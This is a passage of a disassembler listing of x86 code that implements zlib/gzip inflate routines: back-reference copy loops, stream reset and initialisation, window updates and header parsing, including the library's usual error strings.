		cmp	edx, [ebp+var_40]
		mov	[ebp+var_8], edx
		ja	loc_60247E
		mov	ecx, [ebp+var_28]
		dec	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_60238A
		mov	ecx, [ebp+var_24]
		sub	ecx, edx
		add	[ebp+var_10], ecx
		mov	ecx, edx
		cmp	ecx, [ebp+var_C]
		jnb	loc_6023FF
		sub	[ebp+var_C], ecx
		mov	ecx, [ebp+var_10]


loc_60237D:				; CODE XREF: sub_60214D+239j
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		dec	[ebp+var_8]
		mov	[edi], dl
		jnz	short loc_60237D
		jmp	short loc_6023F5
; ---------------------------------------------------------------------------


loc_60238A:				; CODE XREF: sub_60214D+215j
		cmp	ecx, edx
		jnb	short loc_6023D7
		sub	ecx, edx
		add	ecx, [ebp+var_24]
		add	[ebp+var_10], ecx
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_6023FF
		sub	[ebp+var_C], ecx


loc_6023A4:				; CODE XREF: sub_60214D+263j
		inc	[ebp+var_10]
		mov	edx, [ebp+var_10]
		mov	dl, [edx]
		inc	edi
		dec	ecx
		mov	[edi], dl
		jnz	short loc_6023A4
		mov	ecx, [ebp+var_28]
		dec	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_6023FF
		sub	[ebp+var_C], ecx
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_10]


loc_6023CA:				; CODE XREF: sub_60214D+286j
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		dec	[ebp+var_8]
		mov	[edi], dl
		jnz	short loc_6023CA
		jmp	short loc_6023F5
; ---------------------------------------------------------------------------


loc_6023D7:				; CODE XREF: sub_60214D+23Fj
		sub	ecx, edx
		add	[ebp+var_10], ecx
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_6023FF
		sub	[ebp+var_C], ecx
		mov	ecx, [ebp+var_10]


loc_6023EA:				; CODE XREF: sub_60214D+2A6j
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		dec	[ebp+var_8]
		mov	[edi], dl
		jnz	short loc_6023EA


loc_6023F5:				; CODE XREF: sub_60214D+23Bj
					; sub_60214D+288j
		mov	ecx, edi
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		jmp	short loc_602402
; ---------------------------------------------------------------------------


loc_6023FF:				; CODE XREF: sub_60214D+224j
					; sub_60214D+252j ...
		mov	ecx, [ebp+var_10]


loc_602402:				; CODE XREF: sub_60214D+2B0j
		mov	edx, [ebp+var_C]
		cmp	edx, 2
		jbe	short loc_602456
		lea	eax, [edx-3]
		push	3
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	ecx, [ebp+var_10]
		inc	eax


loc_602418:				; CODE XREF: sub_60214D+2E2j
		sub	[ebp+var_C], 3
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		mov	[edi], dl
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		inc	ecx
		mov	[edi], dl
		mov	dl, [ecx]
		inc	edi
		dec	eax
		mov	[edi], dl
		jnz	short loc_602418
		mov	eax, [ebp+arg_0]
		jmp	short loc_602456
; ---------------------------------------------------------------------------


loc_602436:				; CODE XREF: sub_60214D+1F5j
		mov	ecx, edi
		sub	ecx, edx


loc_60243A:				; CODE XREF: sub_60214D+307j
		sub	[ebp+var_C], 3
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		mov	[edi], dl
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		inc	ecx
		mov	[edi], dl
		mov	dl, [ecx]
		inc	edi
		cmp	[ebp+var_C], 2
		mov	[edi], dl
		ja	short loc_60243A


loc_602456:				; CODE XREF: sub_60214D+2BBj
					; sub_60214D+2E7j
		cmp	[ebp+var_C], 0
		jz	short loc_60246E
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		cmp	[ebp+var_C], 1
		mov	[edi], dl
		jbe	short loc_60246E
		mov	cl, [ecx+1]


loc_60246B:				; CODE XREF: sub_60214D+EFj
		inc	edi
		mov	[edi], cl


loc_60246E:				; CODE XREF: sub_60214D+30Dj
					; sub_60214D+319j
		cmp	ebx, [ebp+var_2C]
		jnb	short loc_6024AA
		cmp	edi, [ebp+var_30]
		jb	loc_6021CC
		jmp	short loc_6024AA
; ---------------------------------------------------------------------------


loc_60247E:				; CODE XREF: sub_60214D+203j
		mov	dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance	too far	back"
		jmp	short loc_6024A4
; ---------------------------------------------------------------------------


loc_602487:				; CODE XREF: sub_60214D+166j
		mov	dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance	code"
		jmp	short loc_6024A4
; ---------------------------------------------------------------------------


loc_602490:				; CODE XREF: sub_60214D+BAj
		test	cl, 20h
		jz	short loc_60249D
		mov	dword ptr [esi], 0Bh
		jmp	short loc_6024AA
; ---------------------------------------------------------------------------


loc_60249D:				; CODE XREF: sub_60214D+346j
		mov	dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"


loc_6024A4:				; CODE XREF: sub_60214D+338j
					; sub_60214D+341j
		mov	dword ptr [esi], 1Bh


loc_6024AA:				; CODE XREF: sub_60214D+324j
					; sub_60214D+32Fj ...
		mov	ecx, [ebp+arg_4]
		shr	ecx, 3
		sub	ebx, ecx
		shl	ecx, 3
		sub	[ebp+arg_4], ecx
		xor	ecx, ecx
		inc	ecx
		mov	edx, ecx
		mov	ecx, [ebp+arg_4]
		shl	edx, cl
		dec	edx
		mov	ecx, edx
		mov	edx, [ebp+var_4]
		and	edx, ecx
		lea	ecx, [ebx+1]
		mov	[eax], ecx
		lea	ecx, [edi+1]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_2C]
		sub	ecx, ebx
		add	ecx, 5
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_30]
		sub	ecx, edi
		add	ecx, 101h
		mov	[eax+10h], ecx
		mov	eax, [ebp+arg_4]
		pop	edi
		mov	[esi+38h], edx
		mov	[esi+3Ch], eax
		pop	esi
		pop	ebx
		leave
		retn
sub_60214D	endp


; =============== S U B	R O U T	I N E =======================================



sub_6024FC	proc near		; CODE XREF: sub_602557+96p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_602553
		mov	eax, [ecx+1Ch]
		cmp	eax, edx
		jz	short loc_602553
		mov	[eax+1Ch], edx
		mov	[ecx+14h], edx
		mov	[ecx+8], edx
		mov	[ecx+18h], edx
		mov	dword ptr [ecx+30h], 1
		lea	ecx, [eax+530h]
		mov	[eax], edx
		mov	[eax+4], edx
		mov	[eax+0Ch], edx
		mov	dword ptr [eax+14h], 8000h
		mov	[eax+20h], edx
		mov	[eax+28h], edx
		mov	[eax+2Ch], edx
		mov	[eax+30h], edx
		mov	[eax+38h], edx
		mov	[eax+3Ch], edx
		mov	[eax+6Ch], ecx
		mov	[eax+50h], ecx
		mov	[eax+4Ch], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_602553:				; CODE XREF: sub_6024FC+8j
					; sub_6024FC+Fj
		push	0FFFFFFFEh
		pop	eax
		retn
sub_6024FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_602557	proc near		; CODE XREF: sub_60260B+Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_8]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	loc_602605
		cmp	byte ptr [eax],	31h
		jnz	loc_602605
		cmp	[esp+8+arg_C], 38h
		jnz	loc_602605
		mov	esi, [esp+8+arg_0]
		cmp	esi, edi
		jz	short loc_602601
		cmp	[esi+20h], edi
		mov	[esi+18h], edi
		jnz	short loc_602595
		mov	dword ptr [esi+20h], offset sub_605197
		mov	[esi+28h], edi


loc_602595:				; CODE XREF: sub_602557+32j
		cmp	[esi+24h], edi
		jnz	short loc_6025A1
		mov	dword ptr [esi+24h], offset sub_6051A8


loc_6025A1:				; CODE XREF: sub_602557+41j
		push	2530h
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_6025B9
		push	0FFFFFFFCh
		jmp	short loc_602607
; ---------------------------------------------------------------------------


loc_6025B9:				; CODE XREF: sub_602557+5Cj
		mov	ecx, [esp+8+arg_4]
		cmp	ecx, edi
		mov	[esi+1Ch], eax
		jge	short loc_6025CB
		mov	[eax+8], edi
		neg	ecx
		jmp	short loc_6025DC
; ---------------------------------------------------------------------------


loc_6025CB:				; CODE XREF: sub_602557+6Bj
		mov	edx, ecx
		sar	edx, 4
		inc	edx
		cmp	ecx, 30h
		mov	[eax+8], edx
		jge	short loc_6025DC
		and	ecx, 0Fh


loc_6025DC:				; CODE XREF: sub_602557+72j
					; sub_602557+80j
		cmp	ecx, 8
		jl	short loc_6025F5
		cmp	ecx, 0Fh
		jg	short loc_6025F5
		push	esi
		mov	[eax+24h], ecx
		mov	[eax+34h], edi
		call	sub_6024FC
		pop	ecx
		jmp	short loc_602608
; ---------------------------------------------------------------------------


loc_6025F5:				; CODE XREF: sub_602557+88j
					; sub_602557+8Dj
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx
		mov	[esi+1Ch], edi


loc_602601:				; CODE XREF: sub_602557+2Aj
		push	0FFFFFFFEh
		jmp	short loc_602607
; ---------------------------------------------------------------------------


loc_602605:				; CODE XREF: sub_602557+Aj
					; sub_602557+13j ...
		push	0FFFFFFFAh


loc_602607:				; CODE XREF: sub_602557+60j
					; sub_602557+ACj
		pop	eax


loc_602608:				; CODE XREF: sub_602557+9Cj
		pop	edi
		pop	esi
		retn
sub_602557	endp


; =============== S U B	R O U T	I N E =======================================



sub_60260B	proc near		; CODE XREF: sub_60510C+34p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	0Fh
		push	[esp+0Ch+arg_0]
		call	sub_602557
		add	esp, 10h
		retn
sub_60260B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_602622	proc near		; CODE XREF: sub_6026FA+10CAp

Size		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [edi+1Ch]
		cmp	dword ptr [esi+34h], 0
		mov	ebx, eax
		jnz	short loc_602654
		mov	ecx, [esi+24h]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		push	1
		push	eax
		push	dword ptr [edi+28h]
		call	dword ptr [edi+20h]
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+34h], eax
		jnz	short loc_602654
		inc	eax
		jmp	loc_6026F6
; ---------------------------------------------------------------------------


loc_602654:				; CODE XREF: sub_602622+Fj
					; sub_602622+2Aj
		xor	eax, eax
		cmp	[esi+28h], eax
		jnz	short loc_60266C
		mov	ecx, [esi+24h]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	[esi+30h], eax
		mov	[esi+2Ch], eax
		mov	[esi+28h], edx


loc_60266C:				; CODE XREF: sub_602622+37j
		sub	ebx, [edi+10h]
		mov	eax, [esi+28h]
		cmp	ebx, eax
		jb	short loc_602694
		mov	ecx, [edi+0Ch]
		push	eax		; Size
		sub	ecx, eax
		push	ecx		; Src
		push	dword ptr [esi+34h] ; Dst
		call	_memcpy
		add	esp, 0Ch
		and	dword ptr [esi+30h], 0


loc_60268C:				; CODE XREF: sub_602622+B3j
		mov	eax, [esi+28h]
		mov	[esi+2Ch], eax
		jmp	short loc_6026F4
; ---------------------------------------------------------------------------


loc_602694:				; CODE XREF: sub_602622+52j
		sub	eax, [esi+30h]
		cmp	eax, ebx
		mov	[ebp+Size], eax
		jbe	short loc_6026A1
		mov	[ebp+Size], ebx


loc_6026A1:				; CODE XREF: sub_602622+7Aj
		mov	eax, [edi+0Ch]
		push	[ebp+Size]	; Size
		sub	eax, ebx
		push	eax		; Src
		mov	eax, [esi+34h]
		add	eax, [esi+30h]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		add	esp, 0Ch
		sub	ebx, eax
		jz	short loc_6026D7
		mov	eax, [edi+0Ch]
		push	ebx		; Size
		sub	eax, ebx
		push	eax		; Src
		push	dword ptr [esi+34h] ; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	[esi+30h], ebx
		jmp	short loc_60268C
; ---------------------------------------------------------------------------


loc_6026D7:				; CODE XREF: sub_602622+9Cj
		add	[esi+30h], eax
		mov	ecx, [esi+30h]
		mov	edx, [esi+28h]
		cmp	ecx, edx
		jnz	short loc_6026E8
		and	dword ptr [esi+30h], 0


loc_6026E8:				; CODE XREF: sub_602622+C0j
		mov	ecx, [esi+2Ch]
		cmp	ecx, edx
		jnb	short loc_6026F4
		add	ecx, eax
		mov	[esi+2Ch], ecx


loc_6026F4:				; CODE XREF: sub_602622+70j
					; sub_602622+CBj
		xor	eax, eax


loc_6026F6:				; CODE XREF: sub_602622+2Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_602622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6026FA	proc near		; CODE XREF: sub_60510C+47p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
Dst		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Size		= dword	ptr -0Ch
var_8		= dword	ptr -8
Src		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ecx, ecx
		cmp	eax, ecx
		push	esi
		push	edi
		jz	loc_603745
		mov	esi, [eax+1Ch]
		cmp	esi, ecx
		jz	loc_603745
		cmp	[eax+0Ch], ecx
		jz	loc_603745
		cmp	[eax], ecx
		jnz	short loc_602731
		cmp	[eax+4], ecx
		jnz	loc_603745


loc_602731:				; CODE XREF: sub_6026FA+2Cj
		cmp	dword ptr [esi], 0Bh
		jnz	short loc_60273C
		mov	dword ptr [esi], 0Ch


loc_60273C:				; CODE XREF: sub_6026FA+3Aj
		mov	edx, [eax+0Ch]
		mov	edi, [eax]
		mov	ebx, [esi+38h]
		mov	[ebp+Dst], edx
		mov	edx, [eax+10h]
		mov	eax, [eax+4]
		mov	[ebp+Src], edi
		mov	edi, [esi+3Ch]
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ebx
		mov	[ebp+var_2C], eax
		mov	[ebp+var_20], edx
		mov	[ebp+var_24], ecx
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_60276A:				; CODE XREF: sub_6026FA+1045j
		jmp	ds:off_60386A[eax*4]


loc_602771:				; DATA XREF: .text:off_60386Ao
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_6027A5
		mov	dword ptr [esi], 0Ch
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_602783:				; CODE XREF: sub_6026FA+AEj
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	ecx, [ebp+Src]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	ebx, edx
		inc	[ebp+Src]
		mov	[ebp+var_10], ebx
		add	edi, 8


loc_6027A5:				; CODE XREF: sub_6026FA+7Cj
		cmp	edi, 10h
		jb	short loc_602783
		test	al, 2
		jz	short loc_6027EF
		cmp	ebx, 8B1Fh
		jnz	short loc_6027EF
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		call	sub_6015F3
		mov	[esi+18h], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_18], 1Fh
		mov	[ebp+var_17], 8Bh
		push	dword ptr [esi+18h]
		call	sub_6015F3
		add	esp, 18h
		xor	ebx, ebx
		mov	[esi+18h], eax
		mov	[ebp+var_10], ebx
		mov	dword ptr [esi], 1
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_6027EF:				; CODE XREF: sub_6026FA+B2j
					; sub_6026FA+BAj
		mov	eax, [esi+20h]
		and	dword ptr [esi+10h], 0
		test	eax, eax
		jz	short loc_6027FE
		or	dword ptr [eax+30h], 0FFFFFFFFh


loc_6027FE:				; CODE XREF: sub_6026FA+FEj
		test	byte ptr [esi+8], 1
		jz	loc_60288A
		mov	eax, ebx
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, ebx
		shr	ecx, 8
		add	eax, ecx
		push	1Fh
		xor	edx, edx
		pop	ecx
		div	ecx
		test	edx, edx
		jnz	short loc_60288A
		mov	eax, ebx
		and	al, 0Fh
		cmp	al, 8
		jnz	loc_6028C8
		shr	ebx, 4
		mov	ecx, ebx
		and	ecx, 0Fh
		add	ecx, 8
		sub	edi, 4
		cmp	ecx, [esi+24h]
		mov	[ebp+var_10], ebx
		jbe	short loc_602855
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_602855:				; CODE XREF: sub_6026FA+14Aj
		xor	eax, eax
		xor	edi, edi
		inc	eax
		shl	eax, cl
		push	edi
		push	edi
		push	edi
		mov	[esi+14h], eax
		call	loc_601185
		mov	ecx, [ebp+arg_0]
		shr	ebx, 8
		not	ebx
		and	ebx, 2
		or	ebx, 9
		mov	[esi+18h], eax
		mov	[ecx+30h], eax
		add	esp, 0Ch
		mov	[esi], ebx
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		jmp	loc_60373A
; ---------------------------------------------------------------------------


loc_60288A:				; CODE XREF: sub_6026FA+108j
					; sub_6026FA+128j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aIncorrectHeade ; "incorrect header	check"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_602899:				; CODE XREF: sub_6026FA+1C4j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		mov	[ebp+var_10], ebx
		add	edi, 8


loc_6028BB:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:0060386Eo
		cmp	edi, 10h
		jb	short loc_602899
		cmp	bl, 8
		mov	[esi+10h], ebx
		jz	short loc_6028D7


loc_6028C8:				; CODE XREF: sub_6026FA+130j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aUnknownCompres ; "unknown compression method"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_6028D7:				; CODE XREF: sub_6026FA+1CCj
		test	bh, 0E0h
		jz	short loc_6028EB
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aUnknownHeaderF ; "unknown header flags set"
		jmp	loc_603734
; ---------------------------------------------------------------------------


loc_6028EB:				; CODE XREF: sub_6026FA+1E0j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_6028FC
		mov	ecx, ebx
		shr	ecx, 8
		and	ecx, 1
		mov	[eax], ecx


loc_6028FC:				; CODE XREF: sub_6026FA+1F6j
		test	byte ptr [esi+11h], 2
		jz	short loc_60291F
		mov	[ebp+var_18], bl
		push	2
		lea	eax, [ebp+var_18]
		shr	ebx, 8
		push	eax
		mov	[ebp+var_17], bl
		push	dword ptr [esi+18h]
		call	sub_6015F3
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_60291F:				; CODE XREF: sub_6026FA+206j
		xor	ebx, ebx
		xor	edi, edi
		mov	dword ptr [esi], 2
		jmp	short loc_60294A
; ---------------------------------------------------------------------------


loc_60292B:				; CODE XREF: sub_6026FA+253j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_60294A:				; CODE XREF: sub_6026FA:loc_60276Aj
					; sub_6026FA+22Fj
					; DATA XREF: ...
		cmp	edi, 20h
		jb	short loc_60292B
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_602959
		mov	[eax+4], ebx


loc_602959:				; CODE XREF: sub_6026FA+25Aj
		test	byte ptr [esi+11h], 2
		jz	short loc_60298C
		mov	eax, ebx
		shr	eax, 8
		mov	[ebp+var_17], al
		mov	eax, ebx
		shr	eax, 10h
		mov	[ebp+var_16], al
		mov	[ebp+var_18], bl
		push	4
		lea	eax, [ebp+var_18]
		shr	ebx, 18h
		push	eax
		mov	[ebp+var_15], bl
		push	dword ptr [esi+18h]
		call	sub_6015F3
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_60298C:				; CODE XREF: sub_6026FA+263j
		xor	ebx, ebx
		xor	edi, edi
		mov	dword ptr [esi], 3
		jmp	short loc_6029B7
; ---------------------------------------------------------------------------


loc_602998:				; CODE XREF: sub_6026FA+2C0j
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_6029B7:				; CODE XREF: sub_6026FA:loc_60276Aj
					; sub_6026FA+29Cj
					; DATA XREF: ...
		cmp	edi, 10h
		jb	short loc_602998
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_6029D9
		mov	ecx, ebx
		and	ecx, 0FFh
		mov	[eax+8], ecx
		mov	ecx, [esi+20h]
		mov	eax, ebx
		shr	eax, 8
		mov	[ecx+0Ch], eax


loc_6029D9:				; CODE XREF: sub_6026FA+2C7j
		test	byte ptr [esi+11h], 2
		jz	short loc_6029FC
		mov	[ebp+var_18], bl
		push	2
		lea	eax, [ebp+var_18]
		shr	ebx, 8
		push	eax
		mov	[ebp+var_17], bl
		push	dword ptr [esi+18h]
		call	sub_6015F3
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_6029FC:				; CODE XREF: sub_6026FA+2E3j
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi
		mov	dword ptr [esi], 4


loc_602A09:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:0060387Ao
		test	byte ptr [esi+11h], 4
		jnz	loc_602A95
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_602A1E
		and	dword ptr [eax+10h], 0


loc_602A1E:				; CODE XREF: sub_6026FA+31Ej
					; sub_6026FA+3D7j
		mov	dword ptr [esi], 5


loc_602A24:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:0060387Eo
		test	byte ptr [esi+11h], 4
		jz	loc_602B1B
		mov	edx, [esi+40h]
		mov	eax, [ebp+var_8]
		cmp	edx, eax
		mov	[ebp+Size], edx
		jbe	short loc_602A3E
		mov	[ebp+Size], eax


loc_602A3E:				; CODE XREF: sub_6026FA+33Fj
		cmp	[ebp+Size], 0
		jz	loc_602B11
		mov	ecx, [esi+20h]
		test	ecx, ecx
		jz	loc_602AEB
		mov	eax, [ecx+10h]
		test	eax, eax
		mov	[ebp+var_28], eax
		jz	loc_602AEB
		mov	eax, [ecx+14h]
		mov	ecx, [ecx+18h]
		sub	eax, edx
		mov	edx, [ebp+Size]
		add	edx, eax
		cmp	edx, ecx
		jbe	short loc_602AD6
		sub	ecx, eax
		jmp	short loc_602AD9
; ---------------------------------------------------------------------------


loc_602A76:				; CODE XREF: sub_6026FA+39Ej
		cmp	[ebp+var_8], 0
		jz	loc_603788
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+Src]
		add	edi, 8


loc_602A95:				; CODE XREF: sub_6026FA+313j
		cmp	edi, 10h
		jb	short loc_602A76
		mov	eax, [esi+20h]
		test	eax, eax
		mov	[esi+40h], ebx
		jz	short loc_602AA7
		mov	[eax+14h], ebx


loc_602AA7:				; CODE XREF: sub_6026FA+3A8j
		test	byte ptr [esi+11h], 2
		jz	short loc_602ACA
		mov	[ebp+var_18], bl
		push	2
		lea	eax, [ebp+var_18]
		shr	ebx, 8
		push	eax
		mov	[ebp+var_17], bl
		push	dword ptr [esi+18h]
		call	sub_6015F3
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_602ACA:				; CODE XREF: sub_6026FA+3B1j
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi
		jmp	loc_602A1E
; ---------------------------------------------------------------------------


loc_602AD6:				; CODE XREF: sub_6026FA+376j
		mov	ecx, [ebp+Size]


loc_602AD9:				; CODE XREF: sub_6026FA+37Aj
		push	ecx		; Size
		mov	ecx, [ebp+var_28]
		push	[ebp+Src]	; Src
		add	ecx, eax
		push	ecx		; Dst
		call	_memcpy
		add	esp, 0Ch


loc_602AEB:				; CODE XREF: sub_6026FA+353j
					; sub_6026FA+361j
		test	byte ptr [esi+11h], 2
		jz	short loc_602B05
		push	[ebp+Size]
		push	[ebp+Src]
		push	dword ptr [esi+18h]
		call	sub_6015F3
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_602B05:				; CODE XREF: sub_6026FA+3F5j
		mov	eax, [ebp+Size]
		sub	[ebp+var_8], eax
		add	[ebp+Src], eax
		sub	[esi+40h], eax


loc_602B11:				; CODE XREF: sub_6026FA+348j
		cmp	dword ptr [esi+40h], 0
		jnz	loc_603788


loc_602B1B:				; CODE XREF: sub_6026FA+32Ej
		and	dword ptr [esi+40h], 0
		mov	dword ptr [esi], 6


loc_602B25:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:00603882o
		test	byte ptr [esi+11h], 8
		jz	short loc_602BA3
		cmp	[ebp+var_8], 0
		jz	loc_603788
		xor	ecx, ecx


loc_602B37:				; CODE XREF: sub_6026FA+477j
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [ecx+eax]
		inc	ecx
		mov	[ebp+Size], ecx
		mov	ecx, [esi+20h]
		test	ecx, ecx
		mov	[ebp+var_28], eax
		jz	short loc_602B67
		mov	edx, [ecx+1Ch]
		test	edx, edx
		mov	[ebp+var_30], edx
		jz	short loc_602B67
		mov	edx, [esi+40h]
		cmp	edx, [ecx+20h]
		jnb	short loc_602B67
		mov	ecx, [ebp+var_30]
		mov	[ecx+edx], al
		inc	dword ptr [esi+40h]


loc_602B67:				; CODE XREF: sub_6026FA+450j
					; sub_6026FA+45Aj ...
		test	eax, eax
		jz	short loc_602B73
		mov	ecx, [ebp+Size]
		cmp	ecx, [ebp+var_8]
		jb	short loc_602B37


loc_602B73:				; CODE XREF: sub_6026FA+46Fj
		test	byte ptr [esi+11h], 2
		jz	short loc_602B90
		push	[ebp+Size]
		push	[ebp+Src]
		push	dword ptr [esi+18h]
		call	sub_6015F3
		mov	[esi+18h], eax
		mov	eax, [ebp+var_28]
		add	esp, 0Ch


loc_602B90:				; CODE XREF: sub_6026FA+47Dj
		mov	ecx, [ebp+Size]
		sub	[ebp+var_8], ecx
		add	[ebp+Src], ecx
		test	eax, eax
		jnz	loc_603788
		jmp	short loc_602BAE
; ---------------------------------------------------------------------------


loc_602BA3:				; CODE XREF: sub_6026FA+42Fj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_602BAE
		and	dword ptr [eax+1Ch], 0


loc_602BAE:				; CODE XREF: sub_6026FA+4A7j
					; sub_6026FA+4AEj
		and	dword ptr [esi+40h], 0
		mov	dword ptr [esi], 7


loc_602BB8:				; CODE XREF: sub_6026FA:loc_60276Aj
					; DATA XREF: .text:00603886o
		test	byte ptr [esi+11h], 10h
		jz	short loc_602C3A
		cmp	[ebp+var_8], 0
		jz	loc_603788
		and	[ebp+Size], 0


loc_602BCC:				; CODE XREF: sub_6026FA+50Ej
		mov	ecx, [ebp+Size]
		mov	eax, [ebp+Src]
		movzx	eax, byte ptr [ecx+eax]
		mov	ecx, [esi+20h]
		inc	[ebp+Size]
		test	ecx, ecx
		mov	[ebp+var_28], eax
		jz	short loc_602BFE
		mov	edx, [ecx+24h]
		test	edx, edx
		mov	[ebp+var_30], edx
		jz	short loc_602BFE
		mov	edx, [esi+40h]
		cmp	edx, [ecx+28h]
		jnb	short loc_602BFE
		mov	ecx, [ebp+var_30]
		mov	[ecx+edx], al
		inc	dword ptr [esi+40h]


loc_602BFE:				; CODE XREF: sub_6026FA+4E7j
					; sub_6026FA+4F1j ...
		test	eax, eax
		jz	short loc_602C0A
		mov	ecx, [ebp+Size]
		cmp	ecx, [ebp+var_8]
		jb	short loc_602BCC


loc_602C0A:				; CODE XREF: sub_6026FA+506j
		test	byte ptr [esi+11h], 2
		jz	short loc_602C27
		push	[ebp+Size]
		push	[ebp+Src]
		push	dword ptr [esi+18h]
		call	sub_6015F3
		mov	[esi+18h], eax
		mov	eax, [ebp+var_28]
		add	esp, 0Ch


loc_602C27:				; CODE XREF: sub_6026FA+514j
		mov	ecx, [ebp+Size]
		sub	[ebp+var_8], ecx
		add	[ebp+Src], ecx
		test	eax, eax
		jnz	loc_603788
		jmp	short loc_602C45
; ---------------------------------------------------------------------------


